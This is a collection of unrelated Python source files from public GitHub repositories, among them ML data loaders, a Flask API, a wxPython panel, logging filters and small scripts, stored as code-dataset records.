ModelInfo('GRU', 'SGD_LR_SCHEDULE', 10, 20, 35, 1500, 2, 0.35)]\n\n    grads_by_model = []\n    for model_info in model_infos:\n        model = load_model(model_info, device, vocab_size)\n        model.track_state_history = True\n        grads_per_step = compute_grad_per_timestep(model, device, valid_data, loss_fn)\n        grads_by_model.append(grads_per_step)\n\n    # np.save('grads_by_model.npy', grads_by_model)\n    # grads_by_model = np.load('grads_by_model.npy')\n    plot_loss_per_step(model_infos, grads_by_model)\n\n\nif __name__ == '__main__':\n    print('5.2 - Gradient per timestep')\n    compute_grad_per_timestep_by_model()\n\n\n\n","repo_name":"houdridi/IFT6135PracticalAssignments","sub_path":"a2/5_2_grad_per_timestep.py","file_name":"5_2_grad_per_timestep.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"42471641747","text":"import plyplus\nimport os\n\n\nGRAMMAR_DIR = os.getcwd() + '/raws_parser/dictionaries'\n\n\ndef parse_file(pack_name, file_name):\n    grammar = plyplus.Grammar(plyplus.grammars.open(\n                              GRAMMAR_DIR + '/base.g'),\n                              auto_filter_tokens=False)\n\n    file = os.getcwd() + '/packs/' + pack_name + '/raw/objects/' + file_name\\\n           + \".txt\"\n    try:\n        result = grammar.parse(open(file).read())\n    except plyplus.ParseError as e:\n        result = {'error': e}\n\n    return result","repo_name":"Faulik/Engraved","sub_path":"raws_parser/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"38473849978","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul  4 22:39:40 2017\r\n\r\n@author: 74297\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport os\r\nfrom subprocess import Popen, PIPE, STDOUT\r\nfrom io import BytesIO\r\naadic={\r\n        'A':1,\r\n        'B':0,\r\n        'C':2,\r\n        'D':3,\r\n        'E':4,\r\n        \r\n        'F':5,\r\n        'G':6,\r\n        'H':7,\r\n        'I':8,\r\n        'J':0,\r\n        \r\n        'K':9,\r\n        'L':10,\r\n        'M':11,\r\n        'N':12,\r\n        'O':0, \r\n        \r\n        'P':13,\r\n        'Q':14,\r\n        'R':15,\r\n        'S':16,\r\n        'T':17,\r\n        'U':0,\r\n        \r\n        'V':18,\r\n        'W':19,\r\n        'X':0,\r\n        'Y':20,\r\n        'Z':0,\r\n        '-':0,\r\n        '*':0,\r\n        }\r\n\r\n\r\n\r\n            \r\ndef read_msa(file_path):    \r\n    lines=open(file_path).readlines()  \r\n    lines=[line.strip() for line in lines]   \r\n    n=len(lines)\r\n    d=len(lines[0]) #CR AND LF  \r\n    msa=np.zeros([n,d],dtype=int)\r\n    for i in  range(n):\r\n        aline=lines[i]\r\n        for j in range(d):\r\n            msa[i,j]=aadic[aline[j]]\r\n    return msa\r\n\r\n\r\ndef cal_large_matrix1(msa,weight):\r\n    #output:21*l*21*l\r\n    ALPHA=21\r\n    pseudoc=1\r\n    M=msa.shape[0]\r\n    N=msa.shape[1]\r\n    pab=np.zeros((ALPHA,ALPHA))\r\n    pa=np.zeros((N,ALPHA))\r\n    cov=np.zeros([N*ALPHA,N*ALPHA ])\r\n    for i in range(N):\r\n        for aa in range(ALPHA):\r\n            pa[i,aa] = pseudoc\r\n        neff=0.0\r\n        for k in range(M):\r\n            pa[i,msa[k,i]]+=weight[k]\r\n            neff+=weight[k]\r\n        for aa in range(ALPHA):\r\n            pa[i,aa] /=pseudoc * ALPHA * 1.0 + neff\r\n    #print(pab)\r\n    for i in range(N):\r\n        for j in range(i,N):\r\n            for a in range(ALPHA):\r\n                for b in range(ALPHA):\r\n                    if i ==j :\r\n                        if a==b :\r\n                            pab[a,b]=pa[i,a]\r\n                        else:\r\n                            pab[a,b]=0.0\r\n                    else:\r\n                        pab[a,b] = pseudoc *1.0 /ALPHA\r\n            if(i!=j):\r\n                neff2=0;\r\n                for k in range(M):\r\n                    a=msa[k,i]\r\n                    b=msa[k,j]\r\n                    tmp=weight[k]\r\n                    pab[a,b]+=tmp\r\n                    neff2+=tmp\r\n                for a in range(ALPHA):\r\n                    for b in range(ALPHA):\r\n                        pab[a,b] /= pseudoc*ALPHA*1.0 +neff2\r\n            for a in range(ALPHA):\r\n                for b in range(ALPHA):\r\n                    if(i!=j or a==b):\r\n                        if (pab[a][b] > 0.0):\r\n                            cov[i*21+a][j*21+b]=pab[a][b] - pa[i][a] * pa[j][b]\r\n                            cov[j*21+b][i*21+a]=cov[i*21+a][j*21+b]\r\n                            #cov[a*ALPHA+b,i,j,]=pab[a][b] - pa[i][a] * pa[j][b]\r\n                            #cov[a*ALPHA+b,j,i,]=cov[a*ALPHA+b,i,j]\r\n            #cov1=cal_cov(pab,pa[<unsigned int>i],pa[<unsigned int>j])\r\n            #cov[<unsigned int>i,<unsigned int>j]=cov[<unsigned int>j,<unsigned int>i]=cov1\r\n    #print(pab)\r\n    #print(pa)\r\n    return cov \r\n\r\n\r\n    ","repo_name":"lets-try-again/TripletRes_post_CASP13","sub_path":"aaweights.py","file_name":"aaweights.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"6950950394","text":"import json\nfrom typing import Callable\nfrom typing import Dict\nfrom typing import List\nfrom typing import Union\nfrom json.decoder import JSONDecodeError\nfrom http import HTTPStatus\n\nfrom httpx import HTTPStatusError\nimport httpx\n\nfrom austrakka.utils.exceptions import FailedResponseException\nfrom austrakka.utils.exceptions import UnknownResponseException\nfrom austrakka.utils.output import log_response\nfrom austrakka.utils.context import CxtKey\nfrom austrakka.utils.context import get_ctx_value\nfrom austrakka import __version__\n\nCONTENT_TYPE_JSON = 'application/json'\nCONTENT_TYPE_MULTIPART = 'multipart/form-data; charset=utf-8; boundary=+++'\n\nMODE_SKIP = 'skip'\nMODE_OVERWRITE = 'overwrite'\nMODE = 'mode'\n\n\ndef _get_default_headers(\n        content_type: str = CONTENT_TYPE_JSON,\n) -> Dict:\n    default_headers = {\n        'Content-Type': content_type,\n        'Authorization': f'Bearer {get_ctx_value(CxtKey.CTX_TOKEN)}',\n        'User-Agent': f'austrakka/{__version__}',\n    }\n    return default_headers\n\n\ndef _check_response(response: httpx.Response):\n    # pylint: disable=raise-missing-from\n    try:\n        parsed_resp = response.json()\n        if 'data' not in parsed_resp or 'messages' not in parsed_resp:\n            raise UnknownResponseException(\n                f'{response.status_code}: {parsed_resp}'\n            )\n        try:\n            response.raise_for_status()\n        except HTTPStatusError:\n            raise FailedResponseException(parsed_resp)\n    except JSONDecodeError:\n        raise UnknownResponseException(\n            f'{response.status_code}: {response.text}'\n        )\n\n\ndef _get_data(body: Union[Dict, List] = None) -> str:\n    return json.dumps(body) if body is not None else None\n\n\ndef _get_url(path: str):\n    return f'{get_ctx_value(CxtKey.CTX_URI)}/api/{path}'\n\n\ndef get_response(response: httpx.Response, log_resp: bool = False) -> Dict:\n    _check_response(response)\n    parsed_resp = {} \\\n        if response.status_code == HTTPStatus.NO_CONTENT else response.json()\n    if log_resp:\n        log_response(parsed_resp)\n    return parsed_resp\n\n\ndef _get_client(\n        content_type: str = CONTENT_TYPE_JSON\n):\n    return httpx.Client(\n        headers=_get_default_headers(content_type),\n        verify=get_ctx_value(CxtKey.CTX_VERIFY_CERT),\n        timeout=300,\n        http2=get_ctx_value(CxtKey.CTX_USE_HTTP2),\n    )\n\n\ndef _use_http_client(\n        content_type: str = CONTENT_TYPE_JSON,\n        log_resp: bool = False,\n        parse_resp: bool = True\n):\n    def decorator(func):\n        def inner_func(*args, **kwargs):\n            with _get_client(content_type) as client:\n                response = func(*args, **kwargs, client=client)\n                if parse_resp:\n                    return get_response(response, log_resp)\n                return response\n        return inner_func\n    return decorator\n\n\n@_use_http_client()\ndef api_get(\n        path: str,\n        params: Dict = None,\n        client: httpx.Client = None,\n):\n    return client.get(\n        _get_url(path),\n        params=params,\n    )\n\n\ndef api_get_stream(\n        path: str,\n        func: Callable[[httpx.Response], None],\n):\n    \"\"\"\n    Throws httpx.HTTPStatusError with status is not 2xx.\n    \"\"\"\n    resp: httpx.Response\n    with _get_client().stream(\"GET\", _get_url(path)) as resp:\n        resp.raise_for_status()\n        func(resp)\n\n\n@_use_http_client(content_type=CONTENT_TYPE_MULTIPART, log_resp=True)\ndef api_post_multipart(\n        path: str,\n        files,\n        params: Dict = None,\n        data: Union[Dict, List] = None,\n        custom_headers: Dict = None,\n        client: httpx.Client = None,\n):\n    custom_headers = {} if custom_headers is None else custom_headers\n    return client.post(\n        _get_url(path),\n        data=data,\n        params=params,\n        files=files,\n        headers=dict(client.headers) | custom_headers\n    )\n\n\n@_use_http_client(content_type=CONTENT_TYPE_MULTIPART,\n                  log_resp=True, parse_resp=False)\ndef api_post_multipart_raw(\n        path: str,\n        files,\n        params: Dict = None,\n        data: Union[Dict, List] = None,\n        custom_headers: Dict = None,\n        client: httpx.Client = None,\n):\n    custom_headers = {} if custom_headers is None else custom_headers\n    return client.post(\n        _get_url(path),\n        data=data,\n        params=params,\n        files=files,\n        headers=dict(client.headers) | custom_headers\n    )\n\n\n@_use_http_client(log_resp=True)\ndef api_post(\n        path: str,\n        params: Dict = None,\n        data: Union[Dict, List] = None,\n        client: httpx.Client = None,\n):\n    return client.post(\n        _get_url(path),\n        data=json.dumps(data),\n        params=params,\n    )\n\n\n@_use_http_client(log_resp=True)\ndef api_put(\n        path: str,\n        params: Dict = None,\n        data: Union[Dict, List] = None,\n        client: httpx.Client = None,\n):\n    return client.put(\n        _get_url(path),\n        data=json.dumps(data),\n        params=params,\n    )\n\n\n@_use_http_client(log_resp=True)\ndef api_patch(\n        path: str,\n        params: Dict = None,\n        data: Union[Dict, List] = None,\n        client: httpx.Client = None,\n):\n    return client.patch(\n        _get_url(path),\n        data=json.dumps(data),\n        params=params,\n    )\n\n\n@_use_http_client(log_resp=True)\ndef api_delete(\n        path: str,\n        params: Dict = None,\n        custom_headers: Dict = None,\n        client: httpx.Client = None,\n):\n    return client.delete(\n        _get_url(path),\n        params=params,\n        headers=dict(client.headers) | custom_headers\n    )\n\n\ndef set_mode_header(custom_headers, force, skip):\n    if skip:\n        custom_headers[MODE] = MODE_SKIP\n    if force:\n        custom_headers[MODE] = MODE_OVERWRITE\n","repo_name":"AusTrakka/austrakka2-cli","sub_path":"austrakka/utils/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5765,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"16983924031","text":"import itertools\nfrom _operator import mul\n\ndef transpose(data):\n    return list(zip(*data))\n\nres = transpose([[1,2],[3,-1]])\nprint(res)\n\n\n\ndef transpose(it):\n    return itertools.zip_longest(it[0], it[1])\n\n\ndef scalar_product(a, b):\n    a1 = []\n    a2 = []\n    for i in a:\n        if type(i) == int or type(i) == float:\n            a1.append(i)\n        elif type(i) == str:\n            if i.isdigit():\n                a1.append(float(i))\n            else:\n                return None\n        else:\n            return None\n    for i in b:\n        if type(i) == int or type(i) == float:\n            a2.append(i)\n        elif type(i) == str:\n            if i.isdigit():\n                a2.append(float(i))\n            else:\n                return None\n        else:\n            return None\n    return sum(itertools.starmap(mul, itertools.zip_longest(a1, a2)))\n\n","repo_name":"Ginix4ever/GitProgram","sub_path":"Gitpython/3.1iter_helpers.py","file_name":"3.1iter_helpers.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"19764224784","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n##############################################################################\n#\n# PDFgui            by DANSE Diffraction group\n#                   Simon J. L. Billinge\n#                   (c) 2006 trustees of the Michigan State University.\n#                   All rights reserved.\n#\n# File coded by:    Chris Farrow\n#\n# See AUTHORS.txt for a list of people who contributed.\n# See LICENSE.txt for license information.\n#\n##############################################################################\n\n# generated by wxGlade 0.9.3 on Fri Jul 19 16:01:22 2019\n\nfrom __future__ import print_function\n\nimport wx\nfrom diffpy.pdfgui.gui.pdfpanel import PDFPanel\nfrom diffpy.pdfgui.gui import tooltips\n\n\nclass DataSetResultsPanel(wx.Panel, PDFPanel):\n    def __init__(self, *args, **kwds):\n        # begin wxGlade: DataSetResultsPanel.__init__\n        kwds[\"style\"] = kwds.get(\"style\", 0) | wx.TAB_TRAVERSAL\n        wx.Panel.__init__(self, *args, **kwds)\n\n        sizer_7 = wx.BoxSizer(wx.VERTICAL)\n\n        sizer_panelname = wx.StaticBoxSizer(wx.StaticBox(self, wx.ID_ANY, \"\"), wx.HORIZONTAL)\n        sizer_7.Add(sizer_panelname, 0, wx.EXPAND | wx.LEFT | wx.RIGHT, 5)\n\n        self.panelNameLabel = wx.StaticText(self, wx.ID_ANY, \"Data Set Results\")\n        self.panelNameLabel.SetFont(wx.Font(18, wx.FONTFAMILY_DEFAULT, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, 0, \"\"))\n        sizer_panelname.Add(self.panelNameLabel, 0, wx.ALIGN_CENTER_VERTICAL | wx.LEFT | wx.RIGHT, 5)\n\n        grid_sizer_1 = wx.FlexGridSizer(3, 2, 5, 10)\n        sizer_7.Add(grid_sizer_1, 0, wx.ALL | wx.EXPAND, 5)\n\n        self.labelScaleFactor = wx.StaticText(self, wx.ID_ANY, \"Scale Factor\")\n        grid_sizer_1.Add(self.labelScaleFactor, 0, wx.ALIGN_CENTER_VERTICAL | wx.ALIGN_RIGHT | wx.LEFT, 5)\n\n        self.textCtrlScaleFactor = wx.TextCtrl(self, wx.ID_ANY, \"\", style=wx.TE_READONLY)\n        grid_sizer_1.Add(self.textCtrlScaleFactor, 0, wx.ALIGN_CENTER_VERTICAL, 20)\n\n        self.labelQdamp = wx.StaticText(self, wx.ID_ANY, \"Qdamp\")\n        grid_sizer_1.Add(self.labelQdamp, 0, wx.ALIGN_CENTER_VERTICAL | wx.ALIGN_RIGHT | wx.LEFT, 5)\n\n        self.textCtrlQdamp = wx.TextCtrl(self, wx.ID_ANY, \"\", style=wx.TE_READONLY)\n        grid_sizer_1.Add(self.textCtrlQdamp, 0, wx.ALIGN_CENTER_VERTICAL, 20)\n\n        self.labelQbroad = wx.StaticText(self, wx.ID_ANY, \"Qbroad\")\n        grid_sizer_1.Add(self.labelQbroad, 0, wx.ALIGN_CENTER_VERTICAL | wx.ALIGN_RIGHT | wx.LEFT, 5)\n\n        self.textCtrlQbroad = wx.TextCtrl(self, wx.ID_ANY, \"\", style=wx.TE_READONLY)\n        grid_sizer_1.Add(self.textCtrlQbroad, 0, wx.ALIGN_CENTER_VERTICAL, 20)\n\n        self.buttonExport = wx.Button(self, wx.ID_OPEN, \"Export PDF\")\n        self.buttonExport.Hide()\n        sizer_7.Add(self.buttonExport, 0, wx.ALIGN_RIGHT | wx.ALL, 5)\n\n        self.SetSizer(sizer_7)\n        sizer_7.Fit(self)\n\n        self.Layout()\n\n        self.Bind(wx.EVT_BUTTON, self.onExport, self.buttonExport)\n        # end wxGlade\n        self.__customProperties()\n\n    # USER CONFIGURATION CODE #################################################\n\n    def __customProperties(self):\n        self.results = {}\n        self.ctrlMap = {'dscale'        :   'textCtrlScaleFactor',\n                        'qdamp'         :   'textCtrlQdamp',\n                        'qbroad'        :   'textCtrlQbroad',\n                        }\n        # Define tooltips.\n        self.setToolTips(tooltips.datasetresultspanel)\n        return\n\n    def setResultsData(self):\n        \"\"\"Set the values in the results panel.\n\n        The values are taken from the results member dictionary.\n        dscale      --  float\n        qdamp       --  float\n        qbroad      --  float\n        \"\"\"\n        for name in self.ctrlMap:\n            value = self.results.get(name, None)\n            ctrlName = self.ctrlMap[name]\n            textCtrl = getattr(self, ctrlName)\n            if value is not None:\n                textCtrl.SetValue(str(value))\n            else:\n                textCtrl.SetValue('')\n        return\n\n    # EVENT CODE #############################################################\n\n    def onExport(self, event): # wxGlade: DataSetResultsPanel.<event_handler>\n        print(\"Event handler `onExport' not implemented\")\n        event.Skip()\n\n    # Methods overloaded from PDFPanel\n    def refresh(self):\n        \"\"\"Refresh the panel.\"\"\"\n        # Set the results data\n        self.setResultsData()\n        return\n\n\n\n# end of class DataSetResultsPanel\n","repo_name":"diffpy/diffpy.pdfgui","sub_path":"src/diffpy/pdfgui/gui/datasetresultspanel.py","file_name":"datasetresultspanel.py","file_ext":"py","file_size_in_byte":4506,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"47"}
{"seq_id":"14821045818","text":"import logging\nimport socket\nfrom wsgiref.util import request_uri\n\nfrom pyramid.threadlocal import get_current_request\n\n\n__all__ = ('ContextFilter', 'EnvironFilter')\n\n\nclass ContextFilter(logging.Filter):\n    \"\"\"Provides context specific filter values.\n    See also https://docs.python.org/3/library/logging.html#filter-objects\n    \"\"\"\n    hostname = socket.gethostname()\n\n    def filter(self, record):\n        record.hostname = ContextFilter.hostname\n        return True\n\n\nclass EnvironFilter(logging.Filter):\n    \"\"\"Exposes the request ``environ`` to the logger.\"\"\"\n\n    def _get_defaults(self, environ):\n        if environ.get('HTTP_X_FORWARDED_FOR'):\n            remote_addr = environ['HTTP_X_FORWARDED_FOR']\n        elif environ.get('REMOTE_ADDR'):\n            remote_addr = environ['REMOTE_ADDR']\n        uri = environ.get('REQUEST_URI', None)\n        if uri is None:\n            uri = request_uri(environ)\n        defaults = {\n            'REMOTE_ADDR': remote_addr,\n            'REMOTE_USER': environ.get('REMOTE_USER') or '-',\n            'REQUEST_URI': uri,\n            'HTTP_VERSION': environ.get('SERVER_PROTOCOL'),\n            'HTTP_REFERER': environ.get('HTTP_REFERER', '-'),\n            'HTTP_USER_AGENT': environ.get('HTTP_USER_AGENT', '-'),\n            }\n        return defaults\n\n    def filter(self, record):\n        request = get_current_request()\n        # Apply a set of default values to the record.\n        for key, value in self._get_defaults(request.environ).items():\n            setattr(record, key, value)\n        # Apply actual values to the record.\n        for key, value in request.environ.items():\n            setattr(record, key, value)\n\n        # Set the status and byte length to the record.\n        response = request.response\n        bytes = '-'\n        for name, value in response.headers.items():\n            if name.lower() == 'content-length':\n                bytes = value\n                break\n        record.bytes = bytes\n        record.status = response.status\n\n        return True\n","repo_name":"openstax/pyramid_sawing","sub_path":"pyramid_sawing/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"70398492942","text":"class Settings():\n\t\"\"\"Screen settings, for now\"\"\"\n\tdef __init__(self):\n\t\tself.screen_width = 1200\n\t\tself.screen_height = 800\n\t\tself.bg_color = (0, 30, 60)\n\n\t\t# Bullet Settings\n\t\tself.bullet_width = 500\n\t\tself.bullet_height = 15\n\t\tself.bullet_color = (0, 250, 0)\n\t\tself.bullets_allowed = 3\n\n\t\t# Kim Jong Un Settings\n\t\tself.kim_drop_factor = 30\n\t\t\n\t\t# Stat Settings\n\t\tself.life_limit = 2\n\n\t\t# Level-Up Settings for Game Speed\n\t\tself.speedup_factor = 1.5\n\n\t\tself.initialize_dynamic_settings()\n\n\n\tdef initialize_dynamic_settings(self):\n\t\t\"\"\"Settings that change throughout the game\"\"\"\n\t\tself.doodle_speed_factor = 8\n\t\tself.bullet_speed_factor = 15\n\t\tself.kim_speed_factor = 5\n\n\t\t# Direction factor: 1 is right, -1 is left\n\t\tself.squad_direction = 1\n\n\n\tdef speed_up(self):\n\t\t\"\"\"Speed up the game when level-up\"\"\"\n\t\tself.doodle_speed_factor *= self.speedup_factor\n\t\tself.bullet_speed_factor *= self.speedup_factor\n\t\tself.kim_speed_factor *= self.speedup_factor\n","repo_name":"jlovoi/doodlebob_adventures","sub_path":"doodle_settings.py","file_name":"doodle_settings.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22131607707","text":"import sys\n\ninput = sys.stdin.readline\n\nN, K = map(int, input().split())\n\nanswer = 1\n\n\nfor k in range(K):\n    answer *= N\n    answer /= k+1\n    N = N-1\n\n\nprint(int(answer)*10007)","repo_name":"hanjungwoo1/CodingTest","sub_path":"Backjoon/11050.py","file_name":"11050.py","file_ext":"py","file_size_in_byte":178,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"72022118544","text":"from flask import render_template, session, redirect, url_for, flash, jsonify, request, Response\nfrom datetime import datetime, timedelta, date\nfrom . import main\nfrom .. import db\nfrom ..models import Update\nfrom .utils import *\n\n@main.route('/')\ndef index():\n    return render_template(\"index.html\")\n\n@main.route(\"/receiver\", methods=[\"GET\", \"POST\"])\ndef receiver():\n    data = request.get_json(force = True)\n    td = getdate()\n    savedate = date(day=td.day, month=td.month, year=td.year)\n    update = Update(user = data['user'], count = data['count'], date= savedate)\n    db.session.add(update)\n    db.session.commit()\n    response = Response(status=200)\n    return response\n\n@main.route(\"/api/getuserdata/<user>\")\ndef getuserdata(user):\n    data = Update.query.filter_by(user=user).all()\n    data = [i.json() for i in data]\n    return jsonify(data)\n\n@main.route(\"/api/getusers\")\ndef getusers():\n    data = Update.query.with_entities(Update.user).distinct().all()\n    data = [dat.user for dat in data]\n    return jsonify(data)\n\n@main.route(\"/api/getdates\")\ndef getdates():\n    data = Update.query.with_entities(Update.date).distinct().all()\n    data = [str(dat.date) for dat in data]\n    return jsonify(data)\n\n@main.route(\"/api/getdata\")\ndef getdata():\n    data = Update.query.with_entities(Update.user).distinct().all()\n    resp = {}\n    for dat in data :\n        user = dat.user\n        content = Update.query.filter_by(user=user).all()\n        resp[user] = [{'x':str(c.date),'y':c.count} for c in content]\n    return jsonify(resp)\n\n\ndef getdate():\n    time = timedelta(hours=5, minutes=30)\n    date = datetime.utcnow()+time\n    return date","repo_name":"DivyanshK12/plotty-public","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"23718532777","text":"'''\nDataset for training\nWritten by Whalechen\n'''\n\nimport math\nimport os\nimport random\n\nimport numpy as np\nfrom torch.utils.data import Dataset\nimport nibabel\nfrom scipy import ndimage\n\nclass BrainS18Dataset(Dataset):\n\n    def __init__(self, root_dir, img_list, sets):\n        with open(img_list, 'r') as f:\n            self.img_list = [line.strip() for line in f]\n        print(\"Processing {} datas\".format(len(self.img_list)))\n        self.root_dir = root_dir\n        self.input_D = sets.input_D\n        self.input_H = sets.input_H\n        self.input_W = sets.input_W\n        self.phase = sets.phase\n\n    def __nii2tensorarray__(self, data):\n        [z, y, x] = data.shape\n        new_data = np.reshape(data, [1, z, y, x])\n        new_data = new_data.astype(\"float32\")\n            \n        return new_data\n    \n    def __len__(self):\n        return len(self.img_list)\n\n    def __getitem__(self, idx):\n        \n        if self.phase == \"train\":\n            # read image and labels\n            ith_info = self.img_list[idx].split(\" \")\n            img_name = os.path.join(self.root_dir, ith_info[0])\n            label_name = os.path.join(self.root_dir, ith_info[1])\n            assert os.path.isfile(img_name)\n            assert os.path.isfile(label_name)\n            img = nibabel.load(img_name)  # We have transposed the data from WHD format to DHW\n            assert img is not None\n            mask = nibabel.load(label_name)\n            assert mask is not None\n            \n            # data processing\n            img_array, mask_array = self.__training_data_process__(img, mask)\n\n            # 2 tensor array\n            img_array = self.__nii2tensorarray__(img_array)\n            mask_array = self.__nii2tensorarray__(mask_array)\n\n            assert img_array.shape ==  mask_array.shape, \"img shape:{} is not equal to mask shape:{}\".format(img_array.shape, mask_array.shape)\n            return img_array, mask_array\n        \n        elif self.phase == \"test\":\n            # read image\n            ith_info = self.img_list[idx].split(\" \")\n            img_name = os.path.join(self.root_dir, ith_info[0])\n            print(img_name)\n            assert os.path.isfile(img_name)\n            img = nibabel.load(img_name)\n            assert img is not None\n\n            # data processing\n            img_array = self.__testing_data_process__(img)\n\n            # 2 tensor array\n            img_array = self.__nii2tensorarray__(img_array)\n\n            return img_array\n            \n\n    def __drop_invalid_range__(self, volume, label=None):\n        \"\"\"\n        Cut off the invalid area\n        \"\"\"\n        zero_value = volume[0, 0, 0]\n        non_zeros_idx = np.where(volume != zero_value)\n        \n        [max_z, max_h, max_w] = np.max(np.array(non_zeros_idx), axis=1)\n        [min_z, min_h, min_w] = np.min(np.array(non_zeros_idx), axis=1)\n        \n        if label is not None:\n            return volume[min_z:max_z, min_h:max_h, min_w:max_w], label[min_z:max_z, min_h:max_h, min_w:max_w]\n        else:\n            return volume[min_z:max_z, min_h:max_h, min_w:max_w]\n\n\n    def __random_center_crop__(self, data, label):\n        from random import random\n        \"\"\"\n        Random crop\n        \"\"\"\n        target_indexs = np.where(label>0)\n        [img_d, img_h, img_w] = data.shape\n        [max_D, max_H, max_W] = np.max(np.array(target_indexs), axis=1)\n        [min_D, min_H, min_W] = np.min(np.array(target_indexs), axis=1)\n        [target_depth, target_height, target_width] = np.array([max_D, max_H, max_W]) - np.array([min_D, min_H, min_W])\n        Z_min = int((min_D - target_depth*1.0/2) * random())\n        Y_min = int((min_H - target_height*1.0/2) * random())\n        X_min = int((min_W - target_width*1.0/2) * random())\n        \n        Z_max = int(img_d - ((img_d - (max_D + target_depth*1.0/2)) * random()))\n        Y_max = int(img_h - ((img_h - (max_H + target_height*1.0/2)) * random()))\n        X_max = int(img_w - ((img_w - (max_W + target_width*1.0/2)) * random()))\n       \n        Z_min = np.max([0, Z_min])\n        Y_min = np.max([0, Y_min])\n        X_min = np.max([0, X_min])\n\n        Z_max = np.min([img_d, Z_max])\n        Y_max = np.min([img_h, Y_max])\n        X_max = np.min([img_w, X_max])\n \n        Z_min = int(Z_min)\n        Y_min = int(Y_min)\n        X_min = int(X_min)\n        \n        Z_max = int(Z_max)\n        Y_max = int(Y_max)\n        X_max = int(X_max)\n\n        return data[Z_min: Z_max, Y_min: Y_max, X_min: X_max], label[Z_min: Z_max, Y_min: Y_max, X_min: X_max]\n\n\n\n    def __itensity_normalize_one_volume__(self, volume):\n        \"\"\"\n        normalize the itensity of an nd volume based on the mean and std of nonzeor region\n        inputs:\n            volume: the input nd volume\n        outputs:\n            out: the normalized nd volume\n        \"\"\"\n        \n        pixels = volume[volume > 0]\n        mean = pixels.mean()\n        std  = pixels.std()\n        out = (volume - mean)/std\n        out_random = np.random.normal(0, 1, size = volume.shape)\n        out[volume == 0] = out_random[volume == 0]\n        return out\n\n    def __resize_data__(self, data):\n        \"\"\"\n        Resize the data to the input size\n        \"\"\" \n        [depth, height, width] = data.shape\n        scale = [self.input_D*1.0/depth, self.input_H*1.0/height, self.input_W*1.0/width]  \n        data = ndimage.interpolation.zoom(data, scale, order=0)\n\n        return data\n\n\n    def __crop_data__(self, data, label):\n        \"\"\"\n        Random crop with different methods:\n        \"\"\" \n        # random center crop\n        data, label = self.__random_center_crop__ (data, label)\n        \n        return data, label\n\n    def __training_data_process__(self, data, label): \n        # crop data according net input size\n        data = data.get_data()\n        label = label.get_data()\n        \n        # drop out the invalid range\n        data, label = self.__drop_invalid_range__(data, label)\n        \n        # crop data\n        data, label = self.__crop_data__(data, label) \n\n        # resize data\n        data = self.__resize_data__(data)\n        label = self.__resize_data__(label)\n\n        # normalization datas\n        data = self.__itensity_normalize_one_volume__(data)\n\n        return data, label\n\n\n    def __testing_data_process__(self, data): \n        # crop data according net input size\n        data = data.get_data()\n\n        # resize data\n        data = self.__resize_data__(data)\n\n        # normalization datas\n        data = self.__itensity_normalize_one_volume__(data)\n\n        return data\n","repo_name":"Tencent/MedicalNet","sub_path":"datasets/brains18.py","file_name":"brains18.py","file_ext":"py","file_size_in_byte":6521,"program_lang":"python","lang":"en","doc_type":"code","stars":1737,"dataset":"github-code","pt":"47"}
{"seq_id":"34334889542","text":"from typing import Tuple\nimport pickle\nimport gzip\nimport os\n\nimport torch\nfrom torchtext.data import Dataset, Iterator, Field\nfrom torchtext import data\n\n\ndef load_dataset_file(filename):\n    with gzip.open(filename, \"rb\") as f:\n        loaded_object = pickle.load(f)\n        return loaded_object\n\n\nclass HIndexDataset(data.Dataset):\n\n    @staticmethod\n    def sort_key(ex):\n        return data.interleave_keys(len(ex.sgn), len(ex.txt))\n\n    def __init__(\n            self,\n            path: str,\n            fields: Tuple[Field, Field, Field, Field, Field],\n            **kwargs\n    ):\n\n        path = [path]\n        \n        if not isinstance(fields[0], (tuple, list)):\n            fields = [\n                (\"author\", fields[0]),\n                (\"autemb\", fields[1]),\n                (\"papemb\", fields[2]),\n                (\"features\", fields[3]),\n                (\"target\", fields[4])\n            ]\n\n        samples = {}\n        for annotation_file in path:\n            tmp = load_dataset_file(annotation_file)\n            for aut_id in tmp:\n                s = tmp[aut_id]\n                samples[aut_id] = {\n                    \"name\": aut_id,\n                    \"autemb\": s[\"author_embedding\"],\n                    \"papemb\": s[\"papers_embedding\"],\n                    \"features\": s[\"features\"],\n                    \"target\": s[\"target\"],\n                }\n\n        examples = []\n        for s in samples:\n            sample = samples[s]\n            examples.append(\n                data.Example.fromlist(\n                    [\n                        sample[\"name\"],\n                        # This is for numerical stability\n                        sample[\"autemb\"] + 1e-8,\n                        sample[\"papemb\"] + 1e-8,\n                        sample[\"features\"] + 1e-8,\n                        sample[\"target\"],\n                    ],\n                    fields,\n                )\n            )\n        super().__init__(examples, fields, **kwargs)\n\n\nclass HIndexDatasetTest(data.Dataset):\n\n    @staticmethod\n    def sort_key(ex):\n        return data.interleave_keys(len(ex.sgn), len(ex.txt))\n\n    def __init__(\n            self,\n            path: str,\n            fields: Tuple[Field, Field, Field, Field, Field],\n            **kwargs\n    ):\n\n        